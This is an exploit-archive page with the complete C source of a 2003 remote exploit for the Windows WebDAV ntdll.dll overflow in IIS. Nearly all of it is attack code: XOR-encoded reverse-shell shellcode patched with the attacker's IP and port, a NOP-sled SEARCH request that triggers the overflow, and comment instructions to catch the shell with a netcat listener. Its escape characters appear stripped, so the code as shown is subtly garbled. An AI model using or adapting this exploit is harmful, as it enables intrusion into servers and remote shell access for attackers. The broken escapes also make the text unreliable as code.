[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Windows WebDAV (ntdll.dll) Remote Exploit
# Published : 2003-03-23
# Author : kralor
# Previous Title : Darwin Streaming Server <= 4.1.2 (parse_xml.cgi) Code Execution Exploit
# Next Title : Melange Chat Server 1.10 Remote Buffer Overflow Exploit


/*******************************************************************/
/* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */
/* --------------------------------------------------------------- */
/* this is the exploit for ntdll.dll through WebDAV. */
/* run a netcat ex: nc -L -vv -p 666 */
/* wb server.com your_ip 666 0 */
/* the shellcode is a reverse remote shell */
/* you need to pad a bit.. the best way I think is launching */
/* the exploit with pad = 0 and after that, the server will be */
/* down for a couple of seconds, now retry with pad at 1 */
/* and so on..pad 2.. pad 3.. if you haven't the shell after */
/* something like pad at 10 I think you better to restart from */
/* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
/* on all the others servers it was at 2,3,4, etc..sometimes */
/* you can have the force with you, and get the shell in 1 try */
/* sometimes you need to pad more than 10 times ;) */
/* the shellcode was coded by myself, it is SEH + ScanMem to */
/* find the famous offsets (GetProcAddress).. */
/* */
/*******************************************************************/


#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")

char shellc0de[] =
"x55x8bxecx33xc9x53x56x57x8dx7dxa2xb1x25xb8xccxcc"
"xccxccxf3xabxebx09xebx0cx58x5bx59x5ax5cx5dxc3xe8"
"xf2xffxffxffx5bx80xc3x10x33xc9x66xb9xb5x01x80x33"
"x95x43xe2xfax66x83xebx67xfcx8bxcbx8bxf3x66x83xc6"
"x46xadx56x40x74x16x55xe8x13x00x00x00x8bx64x24x08"
"x64x8fx05x00x00x00x00x58x5dx5exebxe5x58xebxb9x64"
"xffx35x00x00x00x00x64x89x25x00x00x00x00x48x66x81"
"x38x4dx5ax75xdbx64x8fx05x00x00x00x00x5dx5ex8bxe8"
"x03x40x3cx8bx78x78x03xfdx8bx77x20x03xf5x33xd2x8b"
"x06x03xc5x81x38x47x65x74x50x75x25x81x78x04x72x6f"
"x63x41x75x1cx81x78x08x64x64x72x65x75x13x8bx47x24"
"x03xc5x0fxb7x1cx50x8bx47x1cx03xc5x8bx1cx98x03xdd"
"x83xc6x04x42x3bx57x18x75xc6x8bxf1x56x55xffxd3x83"
"xc6x0fx89x44x24x20x56x55xffxd3x8bxecx81xecx94x00"
"x00x00x83xc6x0dx56xffxd0x89x85x7cxffxffxffx89x9d"
"x78xffxffxffx83xc6x0bx56x50xffxd3x33xc9x51x51x51"
"x51x41x51x41x51xffxd0x89x85x94x00x00x00x8bx85x7c"
"xffxffxffx83xc6x0bx56x50xffxd3x83xc6x08x6ax10x56"
"x8bx8dx94x00x00x00x51xffxd0x33xdbxc7x45x8cx44x00"
"x00x00x89x5dx90x89x5dx94x89x5dx98x89x5dx9cx89x5d"
"xa0x89x5dxa4x89x5dxa8xc7x45xb8x01x01x00x00x89x5d"
"xbcx89x5dxc0x8bx9dx94x00x00x00x89x5dxc4x89x5dxc8"
"x89x5dxccx8dx45xd0x50x8dx4dx8cx51x6ax00x6ax00x6a"
"x00x6ax01x6ax00x6ax00x83xc6x09x56x6ax00x8bx45x20"
"xffxd0"
"CreateProcessAx00LoadLibraryAx00ws2_32.dllx00WSASocketAx00"
"connectx00x02x00x02x9AxC0xA8x01x01x00"
"cmd" // don't change anything..
"x00x00xe7x77" // offsets of kernel32.dll for some win ver..
"x00x00xe8x77"
"x00x00xf0x77"
"x00x00xe4x77"
"x00x88x3ex04" // win2k3
"x00x00xf7xbf" // win9x =P
"xffxffxffxff";

int test_host(char *host)
{
char search[100]="";
int sock;
struct hostent *heh;
struct sockaddr_in hmm;
char buf[100] ="";

if(strlen(host)>60) {
printf("error: victim host too long.rn");
return 1;
}

if ((heh = gethostbyname(host))==0){
printf("error: can't resolve '%s'",host);
return 1;
}

sprintf(search,"SEARCH / HTTP/1.1rnHost: %srnrn",host);
hmm.sin_port = htons(80);
hmm.sin_family = AF_INET;
hmm.sin_addr = *((struct in_addr *)heh->h_addr);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return 1;
}

printf("Checking WebDav on '%s' ... ",host);

if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){
printf("CONNECTING_ERRORrn");
return 1;
}
send(sock,search,strlen(search),0);
recv(sock,buf,sizeof(buf),0);
if(buf[9]=='4'&&buf[10]=='1'&&buf[11]=='1')
return 0;
printf("NOT FOUNDrn");
return 1;
}

void help(char *program)
{
printf("syntax: %s <victim_host> <your_host> <your_port> [padding]rn",program);
return;
}

void banner(void)
{
printf("rnt [Crpt] ntdll.dll exploit trough WebDAV by kralor
[Crpt]rn");
printf("ttwww.coromputer.net && undernet #coromputerrnrn");
return;
}

void main(int argc, char *argv[])
{
WSADATA wsaData;
unsigned short port=0;
char *port_to_shell="", *ip1="", data[50]="";
unsigned int i,j;
unsigned int ip = 0 ;
int s, PAD=0x10;
struct hostent *he;
struct sockaddr_in crpt;
char buffer[65536] ="";
char request[80000]; // huuuh, what a mess! :)
char content[] =
"<?xml version="1.0"?>rn"
"<g:searchrequest xmlns:g="DAV:">rn"
"<g:sql>rn"
"Select "DAV:displayname" from scope()rn"
"</g:sql>rn"
"</g:searchrequest>rn";

banner();
if((argc<4)||(argc>5)) {
help(argv[0]);
return;
}

if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error starting winsock..");
return;
}

if(test_host(argv[1]))
return;

if(argc==5)
PAD+=atoi(argv[4]);

printf("FOUNDrnexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]rn",PAD,PAD);

ip = inet_addr(argv[2]); ip1 = (char*)&ip;

shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2];
shellc0de[451]=ip1[3];

port = htons(atoi(argv[3]));
port_to_shell = (char *) &port;
shellc0de[446]=port_to_shell[0];
shellc0de[447]=port_to_shell[1];

// we xor the shellcode [xored by 0x95 to avoid bad chars]
__asm {
lea eax, shellc0de
add eax, 0x34
xor ecx, ecx
mov cx, 0x1b0
wah:
xor byte ptr[eax], 0x95
inc eax
loop wah
}

if ((he = gethostbyname(argv[1]))==0){
printf("error: can't resolve '%s'",argv[1]);
return;
}

crpt.sin_port = htons(80);
crpt.sin_family = AF_INET;
crpt.sin_addr = *((struct in_addr *)he->h_addr);

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return;
}

printf("Connecting... ");

if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){
printf("ERRORrn");
return;
}
// No Operation.
for(i=0;i<sizeof(buffer);buffer[i]=(char)0x90,i++);
// fill the buffer with the shellcode
for(i=64000,j=0;i<sizeof(buffer)&&j<sizeof(shellc0de)-1;buffer[i]=shellc0de[j],i++,j++);
// well..it is not necessary..
for(i=0;i<2500;buffer[i]=PAD,i++);

/* we can simply put our ret in this 2 offsets.. */
//buffer[2086]=PAD;
//buffer[2085]=PAD;

buffer[sizeof(buffer)]=0x00;
memset(request,0,sizeof(request));
memset(data,0,sizeof(data));
sprintf(request,"SEARCH /%s HTTP/1.1rnHost: %srnContent-type: text/xmlrnContent-Length: ",buffer,argv[1]);
sprintf(request,"%s%drnrn",request,strlen(content));
printf("CONNECTEDrnSending evil request... ");
send(s,request,strlen(request),0);
send(s,content,strlen(content),0);
printf("SENTrn");
recv(s,data,sizeof(data),0);
if(data[0]!=0x00) {
printf("Server seems to be patched.rn");
printf("data: %srn",data);
} else
printf("Now if you are lucky you will get a shell.rn");
closesocket(s);
return;
}

// www.Syue.com [2003-03-23]